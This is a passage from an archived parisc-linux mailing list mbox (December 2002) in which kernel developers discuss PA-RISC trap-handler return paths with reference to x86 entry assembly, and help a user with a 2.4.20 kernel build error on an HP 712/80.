OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------6D215F283D0123C92F400FB5--



From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 12:54:16 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <20021209125416.F20336@parcelfarce.linux.theplanet.co.uk>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca> <20021209051214.GK21187@tausq.org> <20021209061913.GM21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622007 18468 80.91.229.3 (22 Nov 2014 02:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:47 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 05:54:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A46C04829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 05:54:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18LNQO-0003DT-00; Mon, 09 Dec 2002 12:54:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021209061913.GM21187@tausq.org>; from tausq@debian.org on Sun, Dec 08, 2002 at 10:19:13PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17055

On Sun, Dec 08, 2002 at 10:19:13PM -0800, Randolph Chung wrote:
> the fix has to do with where we should return to after handling an
> interruption. in pre-2.4.20 code we used to return to intr_return. Grant
> thinks that is incorrect and changed it to intr_restore (basically just
> doing the rfi). the -pa12 patch changes it back so it will handle
> pending signals. The items that remain not handled are restoring I-bit,
> softirqs (and irqstats) and rescheduling. We are not sure if those bits
> are needed for interruptions....  can you guys shed some light on this?

Well, let's look at the reference platform (ie x86):

ENTRY(page_fault)
        pushl $do_page_fault
        jmp error_code

error_code:
(blah blah blah.  sets up stuff & calls the address on the stack)
        call *%edi
        addl $8, %esp
        jmp ret_from_exception

ret_from_exception:
        preempt_stop
ret_from_intr:
        GET_THREAD_INFO(%ebx)
        movl EFLAGS(%esp), %eax         # mix EFLAGS and CS
        movb CS(%esp), %al
        testl $(VM_MASK | 3), %eax
        jz resume_kernel                # returning to kernel or vm86-space
ENTRY(resume_userspace)
        cli                             # make sure we don't miss an interrupt
                                        # setting need_resched or sigpending
                                        # between sampling and the iret
        movl TI_FLAGS(%ebx), %ecx
        andl $_TIF_WORK_MASK, %ecx      # is there any work to be done on
                                        # int/exception return?
        jne work_pending
        jmp restore_all

(with preemption disabled, resume_kernel == restore_all)

restore_all:
        RESTORE_ALL

        # perform work that needs to be done immediately before resumption
        ALIGN
work_pending:
        testb $_TIF_NEED_RESCHED, %cl
        jz work_notifysig
work_resched:

So x86 will potentially reschedule on successfully handling a page
fault.  softirqs seem to only get run if we're returning to userspace,
unless we're switching tasks.  That might be a bug in the x86 code.
Judging from the use of cli & sti in the x86 asm, I would venture to
suggest that the I bit should be cleared.  It makes sense anyway --
you can't expect interrupts to be disabled over a page fault.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel compilation error
Date: Mon, 9 Dec 2002 15:00:29 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <000b01c29f8b$554745c0$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622008 18472 80.91.229.3 (22 Nov 2014 02:06:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 07:00:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id E261E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 07:00:57 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB9E0pk20402
          for <parisc-linux@lists.parisc-linux.org>; Mon, 9 Dec 2002 13:00:51 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17056

Hi,

I'm trying to compile a kernel on a 712/80, but I get the following error
when I do 'make vmlinux':

scsi_merge.c: In function `__count_segments':
scsi_merge.c:225: warning: implicit declaration of function `page_to_phys'
scsi_merge.c: In function `initialize_merge_fn':
scsi_merge.c:1198: `PCI_DMA_BUS_IS_PHYS' undeclared (first use in this
function)
scsi_merge.c:1198: (Each undeclared identifier is reported only once
scsi_merge.c:1198: for each function it appears in.)
make[3]: *** [scsi_merge.o] Error 1
make[3]: Leaving directory `/usr/src/linux-2.4.20/drivers/scsi'
make[2]: *** [first_rule] Error 2
make[2]: Leaving directory `/usr/src/linux-2.4.20/drivers/scsi'
make[1]: *** [_subdir_scsi] Error 2
make[1]: Leaving directory `/usr/src/linux-2.4.20/drivers'
make: *** [_dir_drivers] Error 2

Does anyone know what I'm doing wrong?

Greetings,
Tim



From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation error
Date: Mon, 9 Dec 2002 14:07:47 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20021209140747.I20336@parcelfarce.linux.theplanet.co.uk>
References: <000b01c29f8b$554745c0$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622008 18474 80.91.229.3 (22 Nov 2014 02:06:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 07:07:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37B0A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 07:07:52 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18LOZX-0004qS-00; Mon, 09 Dec 2002 14:07:47 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <000b01c29f8b$554745c0$4fe85982@kabel.utwente.nl>; from t.kemna@student.utwente.nl on Mon, Dec 09, 2002 at 03:00:29PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17057

On Mon, Dec 09, 2002 at 03:00:29PM +0100, Tim Kemna wrote:
> Hi,
> 
> I'm trying to compile a kernel on a 712/80, but I get the following error
> when I do 'make vmlinux':
> 
> scsi_merge.c: In function `__count_segments':
> scsi_merge.c:225: warning: implicit declaration of function `page_to_phys'
> scsi_merge.c: In function `initialize_merge_fn':
> scsi_merge.c:1198: `PCI_DMA_BUS_IS_PHYS' undeclared (first use in this
> function)

where did you get your kernel from?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 11:18:14 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200212091618.gB9GIF0c012366@hiauly1.hia.nrc.ca>
References: <20021209061913.GM21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622008 18480 80.91.229.3 (22 Nov 2014 02:06:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:48 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 09:18:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CE924829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 09:18:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB9GIGot012367;
	Mon, 9 Dec 2002 11:18:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB9GIF0c012366;
	Mon, 9 Dec 2002 11:18:15 -0500 (EST)
In-Reply-To: <20021209061913.GM21187@tausq.org> from "Randolph Chung" at Dec 8, 2002 10:19:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17058

> > > Here it is.
> > 
> > well, something is just very broken, even this simple code triggers the
> > bug:
> 
> and with Grant's help, it's fixed in 2.4.20-pa12 :)

The system doesn't seem to drop core on a segmentation fault anymore.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 11:31:42 -0500 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200212091631.gB9GVg4S012453@hiauly1.hia.nrc.ca>
References: <200212091618.gB9GIF0c012366@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622009 18485 80.91.229.3 (22 Nov 2014 02:06:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:49 +0000 (UTC)
Cc: tausq@debian.org, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 09:32:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A4714829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 09:32:03 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB9GVhot012454;
	Mon, 9 Dec 2002 11:31:43 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB9GVg4S012453;
	Mon, 9 Dec 2002 11:31:42 -0500 (EST)
In-Reply-To: <200212091618.gB9GIF0c012366@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 9, 2002 11:18:14 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17059

> The system doesn't seem to drop core on a segmentation fault anymore.

Forget last message.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation error
Date: Mon, 9 Dec 2002 18:42:02 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <001801c29faa$48b25a60$4fe85982@kabel.utwente.nl>
References: <000b01c29f8b$554745c0$4fe85982@kabel.utwente.nl> <20021209140747.I20336@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622009 18488 80.91.229.3 (22 Nov 2014 02:06:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 10:42:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id E76244829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 10:42:28 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB9HgMk21137
          for <parisc-linux@lists.parisc-linux.org>; Mon, 9 Dec 2002 16:42:22 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17060

----- Oorspronkelijk bericht -----
Van: "Matthew Wilcox" <willy@debian.org>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>
CC: <parisc-linux@lists.parisc-linux.org>
Verzonden: maandag 9 december 2002 15:07
Onderwerp: Re: [parisc-linux] kernel compilation error


> On Mon, Dec 09, 2002 at 03:00:29PM +0100, Tim Kemna wrote:
> > Hi,
> >
> > I'm trying to compile a kernel on a 712/80, but I get the following
error
> > when I do 'make vmlinux':
> >
> > scsi_merge.c: In function `__count_segments':
> > scsi_merge.c:225: warning: implicit declaration of function
`page_to_phys'
> > scsi_merge.c: In function `initialize_merge_fn':
> > scsi_merge.c:1198: `PCI_DMA_BUS_IS_PHYS' undeclared (first use in this
> > function)
>
> where did you get your kernel from?

ftp.kernel.org



From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation error
Date: Mon, 9 Dec 2002 17:43:41 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20021209174341.K20336@parcelfarce.linux.theplanet.co.uk>
References: <000b01c29f8b$554745c0$4fe85982@kabel.utwente.nl> <20021209140747.I20336@parcelfarce.linux.theplanet.co.uk> <001801c29faa$48b25a60$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622009 18490 80.91.229.3 (22 Nov 2014 02:06:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 10:43:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 078994829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 10:43:47 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18LRwT-0001Cl-00; Mon, 09 Dec 2002 17:43:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <001801c29faa$48b25a60$4fe85982@kabel.utwente.nl>; from t.kemna@student.utwente.nl on Mon, Dec 09, 2002 at 06:42:02PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17061

On Mon, Dec 09, 2002 at 06:42:02PM +0100, Tim Kemna wrote:
> ftp.kernel.org

that doesn't work, you need the cvs kernel or our patches.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 11:03:16 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20021209180316.GA6635@dsl2.external.hp.com>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca> <20021209051214.GK21187@tausq.org> <20021209061913.GM21187@tausq.org> <20021209125416.F20336@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622010 18493 80.91.229.3 (22 Nov 2014 02:06:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:50 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 11:03:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CD9A54829; Mon,  9 Dec 2002 11:03:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021209125416.F20336@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17062

On Mon, Dec 09, 2002 at 12:54:16PM +0000, Matthew Wilcox wrote:
> x86 will potentially reschedule on successfully handling a page fault.

ok.

> softirqs seem to only get run if we're returning to userspace,
> unless we're switching tasks.  That might be a bug in the x86 code.

ok.

> Judging from the use of cli & sti in the x86 asm, I would venture to
> suggest that the I bit should be cleared.  It makes sense anyway --
> you can't expect interrupts to be disabled over a page fault.

The above two statements don't make sense to me.
Clearing I-bit (ie rsm) will disable interrupts.
The second sentence suggests the opposite.
Or did I read it wrong?

thanks,
grant



From - Thu Nov 08 21:25:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Mon, 9 Dec 2002 18:20:33 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20021209182033.L20336@parcelfarce.linux.theplanet.co.uk>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca> <20021209051214.GK21187@tausq.org> <20021209061913.GM21187@tausq.org> <20021209125416.F20336@parcelfarce.linux.theplanet.co.uk> <20021209180316.GA6635@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622010 18495 80.91.229.3 (22 Nov 2014 02:06:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:50 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Randolph Chung <tausq@debian.org>,
